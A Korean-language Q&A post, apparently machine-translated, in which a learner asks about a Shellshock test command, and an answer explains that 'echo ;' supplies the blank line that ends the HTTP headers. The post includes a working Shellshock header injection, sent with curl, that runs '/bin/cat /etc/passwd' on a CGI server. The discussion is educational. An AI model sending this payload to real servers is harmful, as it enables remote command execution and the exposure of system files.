Shellshock 공격을 검토 중인데 다음 코드를 이해하지 못합니다.
curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
echo ;
내가 이해하지 못하는 부분은 원격 시스템에서 실행되는 실제 명령에서 /etc/passwd의 Content-Type과 /bin/cat을 에코하는 것 사이의 기능입니다.
여기서 역할은 무엇입니까 echo ;
?
감사해요.
답변1
이것이 HTTP가 구축되는 방식입니다. HTTP 헤더 뒤에는 빈 줄이 있어야 합니다. 이것은 외로움의 결과입니다 echo
.
다음 두 가지를 비교하십시오.
echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
그리고:
echo Content-Type: text/html; /bin/cat /etc/passwd
지금쯤이면 분명해질 것입니다 echo ;
. (물론 세미콜론은 명령을 구분합니다.)